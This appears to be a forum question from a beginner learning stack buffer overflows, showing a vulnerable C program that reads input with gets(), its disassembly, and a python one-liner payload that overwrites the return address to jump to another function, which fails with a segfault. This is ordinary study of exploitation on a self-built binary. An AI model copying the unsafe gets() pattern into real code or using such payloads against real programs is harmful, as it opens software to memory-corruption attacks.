title: exploiting Buffer Overflow using gets() in a simple C program
body: <p>I am new to Buffer Overflow exploits and I started with a simple C program.</p>
  <p><em><strong>Code</strong></em></p>
  <pre><code>#include &lt;stdio.h&gt;
  #include &lt;strings.h&gt;
  
  
  void execs(void){
      printf(&quot;yay!!&quot;);
  }
  
  void return_input (void)
  {
      char array[30];
      gets(array);
  }
  
  int main()
  {
      return_input();
      return 0;
  }
  </code></pre>
  <p><em><strong>Compilation stage</strong></em></p>
  <p>I compiled the above program with cc by disabling <code>stack protector</code> as:</p>
  <pre><code>cc test.c -o test -fno-stack-protector
  </code></pre>
  <p>The dump of the elf file using <code>objdump</code> is as follows :</p>
  <pre><code>0804843b &lt;execs&gt;:
   804843b:   55                      push   %ebp
   804843c:   89 e5                   mov    %esp,%ebp
   804843e:   83 ec 08                sub    $0x8,%esp
   8048441:   83 ec 0c                sub    $0xc,%esp
   8048444:   68 10 85 04 08          push   $0x8048510
   8048449:   e8 b2 fe ff ff          call   8048300 &lt;printf@plt&gt;
   804844e:   83 c4 10                add    $0x10,%esp
   8048451:   90                      nop
   8048452:   c9                      leave  
   8048453:   c3                      ret    
  
  08048454 &lt;return_input&gt;:
   8048454:   55                      push   %ebp
   8048455:   89 e5                   mov    %esp,%ebp
   8048457:   83 ec 28                sub    $0x28,%esp
   804845a:   83 ec 0c                sub    $0xc,%esp
   804845d:   8d 45 da                lea    -0x26(%ebp),%eax
   8048460:   50                      push   %eax
   8048461:   e8 aa fe ff ff          call   8048310 &lt;gets@plt&gt;
   8048466:   83 c4 10                add    $0x10,%esp
   8048469:   90                      nop
   804846a:   c9                      leave  
   804846b:   c3                      ret    
  
  0804846c &lt;main&gt;:
   804846c:   8d 4c 24 04             lea    0x4(%esp),%ecx
   8048470:   83 e4 f0                and    $0xfffffff0,%esp
   8048473:   ff 71 fc                pushl  -0x4(%ecx)
   8048476:   55                      push   %ebp
   8048477:   89 e5                   mov    %esp,%ebp
   8048479:   51                      push   %ecx
   804847a:   83 ec 04                sub    $0x4,%esp
   804847d:   e8 d2 ff ff ff          call   8048454 &lt;return_input&gt;
   8048482:   b8 00 00 00 00          mov    $0x0,%eax
   8048487:   83 c4 04                add    $0x4,%esp
   804848a:   59                      pop    %ecx
   804848b:   5d                      pop    %ebp
   804848c:   8d 61 fc                lea    -0x4(%ecx),%esp
   804848f:   c3                      ret    
  </code></pre>
  <p>So, In order to exploit the buffer(<code>array</code>), we need to find the number of bytes allocated in the <code>return_input</code> stack frame which by looking at the dump,</p>
  <pre><code>lea    -0x26(%ebp),%eax
  </code></pre>
  <p>is <code>0x26</code> in hex or roughly 38 in decimal. So, giving input as :</p>
  <blockquote>
  <p>38+4(random chars)+(return addr of execs)</p>
  </blockquote>
  <p>would execute the <code>execs</code> function. I used the following:</p>
  <pre><code>python -c 'print &quot;a&quot;*42+&quot;\x3b\x84\x04\x08&quot;' | ./test
  </code></pre>
  <p>But output <em><strong>Error</strong></em> was:</p>
  <blockquote>
  <p>Segmentation fault(core dumped)</p>
  </blockquote>
  <p>When I opened the <code>core</code>(core dumped file) using <code>gdb</code>, I could find that the segmentation fault was experienced when executing on the following address :</p>
  <pre><code>0xb76f2300
  </code></pre>
  <p><em><strong>System information:</strong></em></p>
  <blockquote>
  <p>Ubuntu version : 16.10</p>
  <p>Kernel version : 4.8.0-46-generic</p>
  </blockquote>
  <p><strong>Question?</strong></p>
  <p>What was I doing wrong in code?</p>